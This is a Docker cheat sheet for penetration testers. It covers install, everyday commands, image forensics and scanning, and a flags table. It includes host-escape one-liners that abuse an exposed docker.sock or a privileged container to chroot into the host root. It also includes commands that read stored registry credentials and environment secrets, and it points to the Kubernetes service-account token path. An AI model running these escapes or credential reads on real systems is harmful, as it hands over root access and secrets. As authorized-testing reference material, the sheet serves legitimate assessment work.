Docker Cheat Sheet
Container runtime CLI for building images, inspecting deployments, and testing container breakout and misconfiguration paths.
Overview
Docker packages applications in containers. In security assessments, inspect images, socket exposure (/var/run/docker.sock), privileged containers, and mounted host paths for escape vectors.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
Official convenience script (review before prod)
curl -fsSL https://get.docker.com | sudo shsudo usermod -aG docker $USERdocker versionEssential commands
List / inspect
docker ps -adocker imagesdocker inspect CONTAINER_IDRun interactive
docker run -it --rm alpine shLogs / exec
docker logs CONTAINERdocker exec -it CONTAINER /bin/bashCommon workflows
If user can access /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shOr mount host root
docker run -v /:/hostfs --privileged -it alpine chroot /hostfs bashPrivileged container escape indicators —
docker inspect CONTAINER | jq '.[0].HostConfig.Privileged'docker inspect CONTAINER | jq '.[0].Mounts'Image forensics —
docker history --no-trunc myimage:tagdocker save myimage:tag -o image.tartar -xf image.tar && find . -name layer.tar -exec tar -tf {} \; | headExtract filesystem —
docker export CONTAINER > container-fs.tarmkdir rootfs && tar -xf container-fs.tar -C rootfsBuild and scan pipeline —
docker build -t app:dev .trivy image app:devdocker run --read-only --cap-drop=ALL app:devRegistry / secrets —
docker login registry.example.comcat ~/.docker/config.jsondocker inspect IMAGE | jq '.[0].Config.Env'Flags reference
--privileged | Nearly full host capabilities |
|---|---|
-v host:container | Bind mount |
--cap-add SYS_PTRACE | Extra capabilities |
--network host | Host network namespace |
--pid host | Host PID namespace |
-e VAR=val | Environment variable |
--read-only | Read-only rootfs |
docker compose | Multi-container stacks |
Tips
- docker.sock = root on host in most setups — prioritize in linpeas output.
- Check Kubernetes mounts: /var/run/secrets/kubernetes.io/serviceaccount/token.
- docker context can point to remote TCP API — unauthenticated 2375 is critical.
- Use nsenter / ctr on containerd hosts without Docker CLI.